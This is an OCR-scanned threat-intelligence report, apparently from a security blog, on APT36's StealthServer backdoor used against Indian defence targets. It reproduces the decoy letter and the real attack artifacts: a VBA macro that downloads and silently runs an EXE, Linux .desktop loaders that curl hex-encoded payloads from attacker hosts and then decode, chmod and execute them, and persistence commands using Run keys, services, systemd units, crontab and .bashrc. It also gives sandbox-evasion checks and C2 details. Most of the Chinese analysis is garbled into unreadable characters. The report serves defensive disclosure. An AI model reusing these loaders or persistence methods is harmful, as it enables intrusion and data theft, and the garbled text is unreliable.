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CONFIDENTIAL Tele : 34884

E-Mail : skyplan-94@ gov.in
Tele: 011-26197035 INTEGRATED HEADQUARTERS OF
MoD SPI (OPS TRI-SERVICES) 50078/PDS/21/GS/AAD-9 12 Aug 2025
DIR GEN OF SPECIALOPS  MO-7
West BlockV,  RK Puram H7 a1 3401 AT/ DTE GEN OF ARMY AD
New Delhi = 110066 R w1k ARET (STHR) GS BRANCH/EQPT TEEL-9
AS/8106/URAN/GEN Jul 2025 AAD-9
The Director
FWD OF : DRAFT REQUEST FOR INFORMATION (RFI) FOR PROCUREMENT OF
Defence Research and Development Laboratory MANPORTABLE & COMPACT, LIGHT WEIGHT PASSIVE DETECTION & COUNTER
Kanchan Bagh MEASURE SYSTEM (LWPD-CMS)
Hyderabad — 500058
Classified Nomination Drive Indo-Israel R&D Alliance on Glide Bomb & High-Speed Systems 1. Ref SOP on formulation of RFI, PSQR & GSQR issued vide ADG ADB letter No
00519/GS/ADB/(T&WS)/GSQR/SOP dt 16 Aug 2021
1. DRDO has initiated a framework of cooperation with key Israeli Defence firms for the joint development,
technology transfer, and potential co-production of Glide Bomb systems and Hypersonic propulsion technologies 2. Draft Request for Information (RF1) in respect of Manportable & Compact, Light Weight
These efforts are aligned with India's goals under Aatma Nirbhar Bharat while leveraging allied technological Passive Detection & Counter Measure System (LWPD-CMS) is fwd herewith for your
advantages. comments and endorsement.
2. The Glide Bomb system under consideration is expected to offer high precision strike capability with stand- 3 You are requested to fwd comments/endorsement on the subject to this Directorate by
off range beyond 100 km, suitable for neutralizing high-value enemy targets while minimizing risk to Indian Air Force 24 Aug 25 positively. If no input is recd by due date, the same will be deemed to be
assets. Discussions are ongoing for adaptation to Indian platforms and terrain requirements. endorsed by the applicable Department/Org/Office
3. Simultaneously, the collaboration includes joint research initiatives in Hypersonic Technology, focusing on 4 For info and necessary action pl

scramjet propulsion, thermal shielding, and control systems. This project aims to bolster India's preparedness in next- i P
generation missile systems (

\

rVr'kFJ m Devgan) 0
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Copy to:- - LY Y /\pl f

DISB Col AD (TCR & Make)
DRDO Headquarters (Chandra Bhan)

New Delhi Director for Special Ops (Missiles)

LT, XE—KE A “StealthServer” (/517 , % UINEEFER Golang 4RE , X#F Windows #1 Linux 3FE4& |, 4
FEZANEARRRA, “StealthServer XA & FRIETHYAIA Linux 4 , HIBERSF[EWER Fin L&z Falgh
— &M NEE{"service":"stealth-server", "status":"ok"}., ZEZFEEINHE— Windows ZFFIAKINT
KEZ{U “ULTRA-” FHE , RIAFFAE LB Windows IRASEr 4 A “ULTRA-CLIENT” , {BAE /5454 Windows AL #+
BRIRT X4 , R BRI AF & ARG —FRA “StealthServer”,

ThREAH , StealthServer STHL T BI Mz UINAE | —BOMEXFZTMN LRIH , “BHIT C2 TAMEEDS. PHX
771 , StealthServer FURHTHAARMPRNIATIE(R : BARRRT =4 Windows 4874 , BIFIMAEFHIET TCP
Socket {5 , SE=/NAFYIA WebSocket MY ; Linux BEAFRRIAILT BAZEF , 435I{EFA HTTP F1 WebSocket
X

f&itkz 4h , StealthServer fx B 4 m 2 1B T il A AELEIR AR RH R THANA R , BEHIE i TFEMH*
&, FETFOH ER S 1R “google.com”, “microsoft.com” &I A 4 Big & K THRE DT,

BTN RS RS F7S A YISk Web. Title="*Stealth Server*" {% ™= , gEA I —LFEH G A SFHt | an
TEAEh RAREA “Stealth Server - Login” i%: B fi7R. BT StealthServer i) C2 72/ERT B —fER4E , FHFTLKZTE
SIRERSBREAENMEF , AT E QIR DITESY , — LR XA TR AT A M UMEASE,
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1 8217.5.206 3] xblsc.141919810.xyz 80 http XBLSC Stealth Server
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RERERFREAMT.

Stealth Server

Advanced Client Monitoring & File Management System

KEXSHT

BETUTILRER , HMXJETT8ES APT36 77— L6KEX,

1) BEARITARHIER KAL) 52 AL - Pean{E A .desktop 93 & it ELF 30 , 1X£5 .desktop XHFIBH {3
7 PDF A , X2 ARFTIFH PDF XHERBR L 5HBUA. XM, 4XEEAEXE L 5T EEMX , PDF X
) URL —f& XA Google Drive FE3RIERFLE.

2) C2 5 ZALMEMRIHFAEXRIK , XRTEETIHELEMAMINEHITHD : StealthServer AR S Z AR
EBATERI T Auh ek TR bk

fn“modindial.]serveminecraft.net”, “modgovindial.]space”. “kavach[.]space” , X%t C2 5irHj
— LB SR LA LR BERER HEAR A D TR S P IR I 10C TF1E6p 2 254 _E B ARAAME AR AT 73 T AR Bkt | bb
fn“modindial.]serveminecraft.net”#1“modgovindial.1space” B ¥fi#47%E)“101.99.94[.]1109 ,
AN EN AR AR B—ME4 “zahcomputers. pk[ . Imodpersonnel. support” B R Bi%IE £ AT E X4
P, g2 5 FROHT CE R R BN REL AR N B R E A ais st
20“mod.gov.in[.]defencepersonnel.support”, “email.gov.in[.]modindia.link”ZFES EMEIUK
5r , SFPMN A ¥ SEQRITE AHH— MO i EIRENXALRER T KEL LR  support”, “.link" EL5MAIE % F
TH&E,

3) BB AR EMR LR RN TR FELE C2 PMCARALRFTE.

StealthServer BN #T

Windows F Linux & fIEEAZRE A Golang FF& , BFEBRERNFE— , £4%4
*/bossmaya/*/obfuscated*.goiX—45# , HKATWE T HHTE AN —LEFF AR TR,

EXE:
D:/bossmaya/linuxnewdownloader/windows-client/obfuscated main.go
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https://www.seqrite.com/blog/umbrella-of-pakistani-threats-converging-tactics-of-cyber-operations-targeting-india/?ref=blog.xlab.qianxin.com
https://hunt.io/blog/apt36-india-infrastructure-attacks?ref=blog.xlab.qianxin.com
https://www.seqrite.com/blog/advisory-pahalgam-attack-themed-decoys-used-by-apt36-to-target-the-indian-government/?ref=blog.xlab.qianxin.com
https://www.cloudsek.com/blog/investigation-report-apt36-malware-campaign-using-desktop-entry-files-and-google-drive-payload-delivery?ref=blog.xlab.qianxin.com
https://x.com/Cyberteam008/status/1966104752779047237?ref=blog.xlab.qianxin.com

D:/bossmaya/newblkul/client/client obfuscated.go
D:/bossmaya/newblkul/client/client.go

ELF:

D:/bossmaya/client/obfuscated client.go
D:/bossmaya/newlinuxblkul/client/main obfuscated.go
D:/bossmaya/newlinuxblkul/client/main obfuscated enhanced.go
/home/boss/Desktop/tgtfile/main_obfuscated enhanced.go

BEAMETTE , Windows A E A ETERERARM PPT SUEMEAMERICH | Linux FIEEARIE FRZBLUR RN
.desktop . REMMFANBAEAARINGE EMAER , BNRILBRZHMN | BT SERMKITRIRZLS)
EELEMUN BRI, FAUFAE. BEEXE , KTHREMNFE AR M RFHLE.

(1) HEBAAREBLEM |, BTE A EERE SR RRBFLERR BRI |, OB BIERED | XATAAHIEE AT
2, NTFE TR,

(2) MABERERAREANE] | BT AT OB RERIRAEMS, | ELTEREARLN_ LT OEALBRAR , R
SRR T MRIMARDSEL , PhanTE XEMITE, TEXNMEMERIESE , N TIRE— M TTE XL
RFFFISHL.
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Ju ! Fibonacci 3 2

v v

Windows-V1: TCP
#Loader

Windows ZFFHE— MNMRALIELA % . AAXHFE— 4845 “PM & Est Sanction Final 2025.ppam” (] PPT 3£
B, XATRAE—BEERMA , TR oledump TAIREUEK , N FEFUR, UMBARE R Office TRUMAER
EHITE , SBIPIT FVRANRE , BMEITIRISEFA URL , HPE—1
https://filestore[.]space/SoftsCompany/d/11/MES-PresentationE BT ESHAFH ppt, -4
https://filestore[.]space/SoftsCompany/d/14/nodejsEEEE T StealthServer,
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' === DOWNLOAD & OPEN PPTX ——

Sub DownloadAndOpenSlides()
Dim http As Object, stream As Object
Dim pptxUrl As String, savePath As String
Dim pptApp As Object

' URL of the PowerPoint file (change this)
pptxUrl = “"https://filestore.space/SoftsCompany/d/11/MES-Presentation”
savePath = Environ("TEMP") & "\MES-Presentation.pptx"

' Download the file

Set http = CreateObject("MSXMLZ .XMLHTTP")
http.Open "GET", pptxUrl, False
http.S5end

If http.Status = 200 Then
Set stream = CreateObject("ADODBE.Stream")
stream.Type = 1
stream.Open
stream.Write http.responseBody
stream.SaveToFile savePath, 2
stream.Close

' Open the slides in PowerPoint
Set pptApp = CreateObject("PowerPoint.Application™)
pptApp.Visible = True
pptApp.Presentations.Open savePath
Else
MsgBox “Failed to download slides!™, vbExclamation
End If
End Sub

' === DOWNLOAD & RUN EXE (HIDDEN) =———
Sub DownloadAndRunExe()

Dim http As Object, stream As Object

Dim exeUrl As 5tring, savePath As String

" URL of the EXE file (change this)
exeUrl = "https://filestore.space/SoftsCompany/d/14/nodejs"
savePath = Environ("TEMP") & "\nodejs.exe"

#StealthServer

1. xR

R T ERAEBLORAIEZ S , StealthServer iMER T RE FESRXAHMN , AR REFAAGE.
(1) REs. RibA

@ $iTdr4dtasklist /fi "imagename eq %s*" | find /i "%s"KMEBFE PRV ELWMEFFHS
AR,

VMware
VirtualBox
VBOX

QEMU

Xen
Hyper-V
Parallels
KVM
Virtual
VM

vbox
vmware
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@ VA IsDebuggerPresent() ERELFIHTE B4 TUAEIRS.
@ #KHX PEBDebugFlag Sk#I¥T 2 B4 TRERE.
@ T T REREBHFE , MRFEMNAL T HFHIE.

C:\\analysis
C:\\sandbox
C:\\malware
C:\\sample
C:\\virus
C:\\quarantine

© FTHRTAFER AR TRYIRTZ— , MRFENRRIA L T AR,

admin
administrator
sandbox
malware

virus

user

test

analyst

john

jane

(2) FHmE
TEERIN T LA, , TIHREDHT.
(3) MmO

VAT powershell ¥§4cmd /C powershell -WindowStyle Hidden -Command exitfliE— /&ML s
&wo.

(4) BRI

BEKREE KM E B2 B RARBIEEIT , FRFEnodejs_instance_mutexit sha256 z ek
Globa\\%x{5Z|E ALK , FEfFHIT FidTE4 374 M cmd /C powershell -Command \"$mutex = New-
Object System.Threading.Mutex($false, '%s'); if($mutex.WaitOne(0)) { exit 0 } else {
exit 1}

2. {FA

(1) FasRscH

BB IE|%APPDataE R T34 4 nodejs.exe , BifTattrib +h +s@AHRMIEHBHEMRLEM | &
XTI,
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(2) EMRE S

#iTreg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v
nodejs /t REG_SZ /d \"%s\" /¥ nodejs.exe Mtk E B30,

(3) BZEBR

fEfash B 3% Startup T8 .ps1 Xffcreate shortcut.psl, {fF powershell BITZ A BIZE— Ink 3044
System Update.lnk®E\\Microsoft\\Windows\\Start Menu\\Programs\\StartupBEx , X{i&1ZfEm
nodejs.exe,

$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut('%s')
$Shortcut.TargetPath = '%s'
$Shortcut.WorkingDirectory = '%s
$Shortcut.WindowStyle = 7
$Shortcut.Save()

(4) HRIEF

BidPhiTsc create "NodeJSUpdater" binPath= "%s" start= auto DisplayName= "Node.js
Background Updater" type= ownPAKsc start "NodeJSUpdater"gJZE1tX{ES I EHIHIT.

3. MLRIE(S

FEA(S AR S 28 Hbhit @ modindia. serveminecraft[. Inet , {§/ TCP WXk JSON A M¥IRIFI T E |
U4 8080, EABEAERANT | id FEREERALIEREAT |, AIREM THRC AR KA REA IR A |, location B,
F“windows - "PHESRIEAE , antivirus FERFRRARE . BIEEENETXHHBRERENIRAL , BT TS
ME#E,

{
id":
"633734336633383138326436323966326463656638303966363166663933356163363239363364cae2d6e4’
"location": "windows - DAJIOA22",
"antivirus": "Unknown"

}
XM T =114
LIST : 3RERIC {4313k

UPLOAD : H{&F5E30t4
DOWNLOAD : FTHFeE ¢

Windows-V2: TCP

J\BIREILT BI—ARAH) Windows ZEFp , U4 2k “proxifiersetup.exe” , ZAFIX A% O INBEREIN 2 F3H1TT
JEBIE , FFA&12AD: /bossmaya/newblkul/client/client obfuscated.go , FTFXAAM Linux lRA{FER T
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MERNER , MERRNMEEERP T ZEFMLTFH“ULTRA-CLIENT”, EATRER A4ET —aEhing 740
Ollydbg. x64dbg, IDAFRENHT TAMRERMAIE , HAHEBRLEN.

[ .rdata:0000.. 00000038
rdata:0000.. 00000039
rdata:0000.. 00000039
.rdata:0000.. 0000003A

0
=
=
@] .rdata:0000.. 00000038
0
0l
(=]

[ULTRA-REGISTRY] X Skipped: Not Windows or empty path\n
[ULTRA-DECRYPT] Decrypting %d bytes with XOR key 0x80...\n
[ULTRA-PERSIST] Setting up ultra-registry persistence...\n
[ULTRA-CONNECTION] v Backup ultra-connection successful\n
[ULTRA-DECRYPT] v Ultra-decryption successful, using: %s\n
[ULTRA-CONNECTION] v Primary ultra-connection successful\n
[ULTRA-STARTUP] \n
[ULTRA-REGISTRY] X Failed to add ultra-registry entry: %v\n

[ULTRA-DATAI Preparina ultra-client data for transmission...\n

.rdata:0000... 0000003B
.rdata:0000... 0000003C
.rdata:0000... 0000003C
[ .rdata:0000.. 0000003D

OO0O0000O0OO0OO0

ML&IEEFATE , ZFE C2 BT XOR fn%E , {EXXFRENE T WA %4 1P, C2 FRAKIKO#FZ8080.

sinjita[.]store
45.155.54[.]1122
45.155.54[.162

FEAMMELET —REW BT —NosFE , 1dFBHEMHERNK 8 M FIHHEMN , SIFMN=1T15SLIST,
UPLOAD, DOWNLOAD;&ZE,

{
"id": "ultra client 6edcl5ad7feac78f",
"location": "Roubaix, Hauts-de-France, France - UltraPC(Rubin)",
"os": "Microsoft Windows [@z+3; 10.0.22621.4317",
"antivirus": "Windows Defender"
}

Windows-V3: WebSocket

INBAEHEIKT B5—1EF |, 3CAER WebSocket BME{S , C2 fi%25Aws : //kavach[ . ]1space:5500 , THEEST
HENEK Linux BRAZAER |, HANREER,

Linux-V1: HTTP
#Loader

Linux ZEFPEE—MRALZIIE/\A Y] , A\OFARR—/1 &4 “Meeting_Ltr_ID15430ps.pdf.desktop” KL
f# , “.desktop”ST#RD Linux MRIEF XA F 53188 , 2400 Windows # Ink HIEARIC#. SMEEM desktop I
A7 loader kREARLE , BABR—BBHRITARHLE.
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[Desktop Entry]

MName=Meeting_Ltr_ID1543ops.pdf

Exec=bash -c "tmp_file="/tmp/Meeting_Ltr_ID15430ps.pdf-${date +¥s)"; curl -s "https://securestore.cv/ghg/Mt_dated_2
9.txt" | xxd -r -p > "$tmp_file" && chmod +x "$tmp_file" && "$tmp_file" & firefox --new-window “https://drive.googl
e.com/file/d/1cAEBP1CAUKbzF4]1i_ykznFbP1GR3oX1/viewfusp=sharing” &'

Terminal=false
Type=Application
Icon=application-pdf
Categories=litility;

X-GNOME -Autostart-enabled=true
X-AppImage-Integrate=false

X4 .desktop X#HERME _E{hFER— PDF XAMIREAR |, E2@/ER AT B RNETE
“Meeting_Ltr_ID15430ps.pdf’ , BUT/EAFT I P25 L Firefox %2558 — 1 GoogleDrive WS/ , X
25 H “CONFIDENTIAL (H1%) ” K3 , WA XER “FEEMTSRRALLR (DRDO) SUEFIER I
EEMFRNSEAL (AESETEREHEASE) ATEANHARKEAXER” , XOFEZARE BRsE A,

CONFIDENTIAL

Tele: 011-26197035 INTEGRATED HEADQUARTERS OF
MoD SPlI  (OPS TRI-SERVICES)
DIR GEN OF SPECIAL OPS MO-7
West Block-V, R K Puram
New Delhi— 110066

AS/8106/URAN/GEN Jul 2025
The Director

Defence Research and Development Laboratory
Kanchan Bagh
Hyderabad — 500058

Classified Nomination Drive Indo—Israel R&D Alliance on Glide Bomb & High-Speed Systems

1. DRDO has initiated a framework of cooperation with key Israeli Defence firms for the joint development,
technology transfer, and potential co-production of Glide Bomb systems and Hypersonic propulsion technologies.

oo - _Ef_ . o _li_._ P T O R S N S T R T [T R | S U N (B S |
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SFR_EA WTFEEE RS 2R FE—AN 30 “Mt_dated_29.txt” |, {7773 /tmp BF FHE & 2E&
A1“/tmp/Meeting Ltr ID15430ps.pdf-$(date +%s)”., XA EEFE StealthServer , (B2 21733 HEX
HMANFRERNS , AER“xxd -r -p"&SHHE D Z3#E) ELF X , A5 “chmod +x” Z [FHh4T.

curl -s "https://securestore[.]cv/ghg/Mt dated 29.txt"

F—ANEFE Loader {173 T HEX FRABHERmES URL |, T3E base64 , 2N T EIFIREE a fiEiLERE
https://trmm[.]1space/SoftsCompany/d/27/clipboard.txt , b f#iL5E“firefox” , c f#lEE A TR
S pdf 4EfEhttps: //drive.google.com/file/d/1C-PH7EEOhv5gjYzKnsz KGBe48454QGc/view?
usp=sharing , ThHEEERMEEK , FTHEER.

[Desktop Entry]

Name=Def_Sec_Briefings_Schedule.pdf_Viewer.pdf

Exec=bash -c 'f="/tmp/Def_Sec_Briefings_Schedule.pdf-$(date +%s)";0="68747470733a2f2f74726d6d2e73706163652153616674
73436fbd70016e 792642323721 6360097002610172042e747874" ; b="00097205066F 78" ; c="0874747073302f2f047269700652eb76T0f076
c652e636fod2 fe6696c6521642131432d50483745454 6876356760597 a4bbe737a5T4ba7426534383435345147632F 766965773 7573703d73
686172696867 " 1curl -5 "$(echo $alxxd -r -p)" | xxd -r -p > "$f" B& chmod +x "$f" && "$f" & "$Cecho $blxxd -r -p)" -

-new-window "$(echo $clxxd -r -p)" &'
Terminal=false

Type=Application
Icon=application-pdf
Categories=0ffice;

X-GMNOME - Autostart-enabled=true
X-AppImage-Integrate=false

#StealthServer

F Windows IRASHIFEARA[E] |, Linux hRASH] StealthServer RELIHT T BRI R IRIE , FTFREEIZA

D:/bossmaya/client/obfuscated client.go,

e I A - allv ™ INA Viow_A PETETTTYT .« Hav Viawi-1 v @& I Anal Tun
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1. Junk code/Junk Function

init 71 main EREXETE AEFN N B ERE Junk Function 0 Junk Code , BT A4 , Junk Code =TEEHITIE VA
B, AFEWZ , —KE2LNBETREBNAEEATKIR , F—LEXN—EBITE NHIRH TR R4S/ B E.

2. R

JBIIFREY /proc/self/status XHHRAZ , ¥ EEASNHAFRRESEE“TracerPid: N”,

o MR N=0— FBEHAAIFRER.
o WIR N #£0 - HEMFAZF (20 gdb, strace) 0.

3. #Fa

(1) RMAZRS
BRAELMAFER TR TERGEM , HF

“/home/username/.config/systemd/user/default.target.wants/system-update.service”2—/
T S4EHE $8M@ " /home/username/ . config/systemd/user/system-update.service”,

KRIEK¥BEE ELF X% D1%)" /home/username/ .config/systemd/systemd-update” , 3R HARS X
4“/home/username/.config/systemd/user/system-update.service” , TEERIFHA—ELA TR

&, &=aER systemctl FENZRS , XHERBUT.

[Unit]
Description=System Update Service
After=network.target

[Service]

Type=simple
ExecStart=/home/username/.config/systemd/systemd-update
Restart=always

RestartSec=10

User=username

[Install]
WantedBy=default.target

(2) 7£ ~l.bashrc F ~/.profile ST &R B35S

~/ .bashrci2 bash shell (WECE I , 7E shell BRI MEBFHPITHFRKRECEIES | ~/ . profileBTHEEE,
RPERIRVIAHIRIE | SBINKIESNT , BTHEREEIHEE,

# System update service
nohup /home/username/.config/systemd/systemd-update >/dev/null 2>&1 &

4. MARTE(E - XIF=AE
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C2 fr%-Z$utk A “modgovindial . 1space” , 1 Windows ki Aii%42 “modindia. serveminecraft[. 1net”f%
2T HER 1P #3E“101.99.94[.1109"., BEKBEIFREMNT , B HTTPIEK
“http://modgovindial.]space:4000/health” , ¥I¥TAR$25 2 B/EK , IMNNEF M service FERFEA T AL
BHEF.

SRIEEKhttp://modgovindial.]space:4000/commands , 3 iKEIES |, IIVNAE JSON &=, , ¥ @
=MES. REIEHITRRGAONGERE T EKRhttp: //modgovindial . ]space:4000/command- responselfiy
# C2,

1) 'browse'
WHIEEB R THRXHYIER , IMEARFHR 'path' FEIERT BFRKIZ.
2) 'upload’
L 1EFERE X,

3) 'execute'’
P47 bash 4.

5. Gt

MARB SR/ THAE , REAFTHN TR M.

.pdf
.doc
.x1ls
.ppt
Ltxt
.zip
.rar

LBHE|_ ERFRNIM |, BEKE— GET EKEMARFES , X-Username FEE LRTHA P& F.

SRIEHIT POST i3k " /upload?last=t rue"{E XA XEHTFE RS 25 , X-Username A FHRCURTR AL , ETHR
FZRBINT N BT H— A, X-File-Name &£ base64 JRASHIS14H4 ., XHRALIT AES-GCM EixmE , Nk
TR B R EUE RS EREAT I — N FRE |, BT sha256 1T Z JFYEHR AES H key , SRATEBEHLAERL 12 FH1EA
GCM K Nonce , FRTFIEIEKF ) X-Nonce FE , s/GMETEIFEIR 16 71 Tag ¥IBMIINESCHEESCER , —
RAERTFERS 7.

PA_EEURIXAS RG] , HEATPIESRISH AES key JRIATFRF &4

617d6e6f298505d2855f31f85e30a971a01lbeedfh9417456d2e11090e170e80ea , R AR FISE TR
NA.

Linux-V2: WebSocket

#Loader
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J\BHRARILT B— Linux fRAMEEE , A\OB—1P4EH
“PROCUREMENT_OF_MANPORTABLE_&_ COMPAC.pdf. desktop” KX , NABRE=TZITER , 3P Ep
AET KFSBPITHIES . BUTZEEARRE HTTP AR , AT cmd $54181d base64 4ihl,

[FI#EMD |, FTFF Firefox j¥452517(8) T & GoogleDrive WA KA - , X2 —#4 4 “Draft RFI for PDS 18 Aug 25
Final.pdf” {30 , WE KR “BhRXT (DAEE (RF1) ) WER , TR0 ST, RENESRUSHHE
MEAZE (LWPD-CMS) 77,

firefox --new-window
"https://drive.google.com/file/d/1knOL 6WYbfUUxOdmzwfALDnzkVHIJAPTu/view?
usp=drive link"

StealthServer f{] Payload 2 —#+7xu3tH) HEX i XMFRR I , L1 “xxd -r -p"$54 B[4 4 ELF XX
, BE R TAR Z JEE1THE 7.

eaMXJwW="--fail --location --show-error"; curl ${eaMXJW}
"https://drive.google.com/uc?export=download&id=1VQQiTt78N3KpYJzVbE-95uILn084Wz -"

xxd -r -p

#StealthServer

XN EFMRIFAIEIE R “D:/bossmaya/newlinuxblkul/client/main_obfuscated_enhanced.go” , /312 A1E5EhR |, &)
FHERT RELIRA |, {BREAFIKEHTIRIE.

1. /AL

AEE XN EFAT AL —N 24" - -hidden” | YEAXN SN SBIT A URE S . FAUKZERLES
ELF X EI“~/ . config/system backup/”BFT , SR/ERIN crontab X544 @reboot %s >
/dev/null 2>81 , XLFEFRAGERREIMETHEIVGHN ELF X4 , FETLRBMENHL . BERITRRSE
{£%“system- backup service"{fREFRHESIETT.

[Unit]
Description=System Backup Service
After=network.target

[Service]
Type=simple
ExecStart=%s
Restart=always
RestartSec=10
User=%s

[Install]
WantedBy=default.target

2. MERIEfS
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ZAEFIEETNZCR WebSocket #MX , {B¥IEEEEFH JSON 8= , C2 21T base64 g

15 : “d3M6Ly9zZWVteXNpdGVsaXZILnNOb3JIOjgwODAvd3M=", fi#hL515%
ws://seemysitelive[.]store:8080/ws. UiEHMINY FR NN TEE , HPAFE "Welcome to
Stealth Server",

"type": "welcome",

"client id": "fd77350b-d70b-4978-bc54-bc5b16843904",
"data": "Welcome to Stealth Server",

"timestamp": "2025-08-20T03:04:07.8960862-07:00"

}

SRIEE C2 KXW TR FinfsE.

{
"type": "client info",
"client id": "7a8dfc96-eea9-4c46-8e48-0ddb2dd2bed4l",
"data": {
"current dir": "/tmp",
"hostname": "buffalo",
"ip address": "35.*.%*.48",
"location": "Council Bluffs, Iowa, United States",
"os": "linux",
"username": "root"
b
"timestamp": "2025-08-20T10:04:07.538478245Z"
}

b fa % Fun Al RS inEhe 30 ME AR XA AE OBHEER.

response :
{
"type": "heartbeat",
"timestamp": "2025-08-20T03:04:37.8972773-07:00"

¥

sendto :

{
"type": "heartbeat response",
"client id": "7a8dfc96-eea9-4c46-8e48-0ddb2dd2bed4l",
"timestamp": "2025-08-20T10:04:36.244598102Z7"

}

KFFIFJLANMES

browse files : &XFEEMIZHIIHFSIR
upload execute : H{EFEE M4
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start_collection : #ERIEE /NI M4
ping

welcome

heartbeat

e

ZALAYHENAE , EUTRE. %, REMRSFHR. AEXIESRXE , WRBE X SHATKA.

loC

Samples :

dc64c34ba92375f8dc8ae8cf90alf535a0aa5a29fcf965af5ad4982cd16e9d71
818da8861c368e74b9b5c1c59e64ef00690c5eff4a95elbdfcf386973895befl
6347t46d77a47b90789a1209b8t573b2529a60841858a27d977bf23ee8a79113
662890bb5baba4a7a9ba718bdedd6991fbf9867c83e6761721f5527617e05cafa
264d88624ec527458d4734eff6fle534fcach77e5616ae6labed94a941389232
56260e90bba2c50af7c6d82e8656224ece23445f1d76e87a97c938ad9883005f
499f16ed2def90b3d4c0de5ca22d8c8080c26alad05b4078e262a0a34bcble3l
72946339439eh678316a124b8d700b21de919c81lee5bef33e8chb848b7183927b
10b54abba525686869c9da223250f70270a742b1a056424c943cfc438c40cc50
ecel620e218f2c8b68312c874697c183f400c72a42855d885fc00865e0ccclal
ab85924ba95692995ac622172ed7f2ebc1997450d8615245b03491422be2f3d6
cf39bb998db59d3db92114d2235770a4a6c9cbf6354462cfedd1df09e60fe007

Domain :
modindial.]serveminecraft.net
modgovindial[.]space
seemysitelive[.]store
solarwindturbine[.]site
sinjita[.]store
sinjital[.]space
seeconnectionalive[.]website
windturbine[.]website
kavach[.]space
zahcomputers.pk[.]modpersonnel.support
discoverlivel[.]site
cloudstore[.]cam

IP:

45.155.54[.]122 Switzerland|Zurich|Zlirich AS200019 | ALEXHOST SRL
45.155.54[.]62 Switzerland|Zurich|Zirich AS200019 | ALEXHOST SRL
45.155.54[.]28 Switzerland|Zurich|Zirich AS200019 | ALEXHOST SRL
45.155.53[.]179 Switzerland|Zurich|Zirich AS200019 | ALEXHOST SRL
45.155.53[.]204 Switzerland|Zurich|Zlrich AS200019 | ALEXHOST SRL
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45.141.58[.]199 The Netherlands|Flevoland|Dronten AS213373|IP Connect Inc
101.99.94[.]1109 Bulgaria|Sofia-Capital|Sofia AS45839|Shinjiru Technology Sdn Bhd

164.215.103[. 155 The Netherlands|Flevoland|Dronten AS213373|IP Connect
Inc

161.97.82[.]197 France|Grand Est|Lauterbourg AS51167|Contabo GmbH

5.178.0[.129 The Netherlands|Flevoland|Dronten AS213373|IP Connect Inc

Golang path:
:/bossmaya/linuxnewdownloader/windows-client/obfuscated main.go
:/bossmaya/newlinuxblkul/client/main obfuscated.go
:/bossmaya/newlinuxblkul/client/main obfuscated enhanced.go
:/bossmaya/client/obfuscated client.go
:/bossmaya/newblkul/client/client.go
:/bossmaya/newblkul/client/client obfuscated.go
/home/boss/Desktop/tgtfile/main obfuscated enhanced.go

O O O O O O
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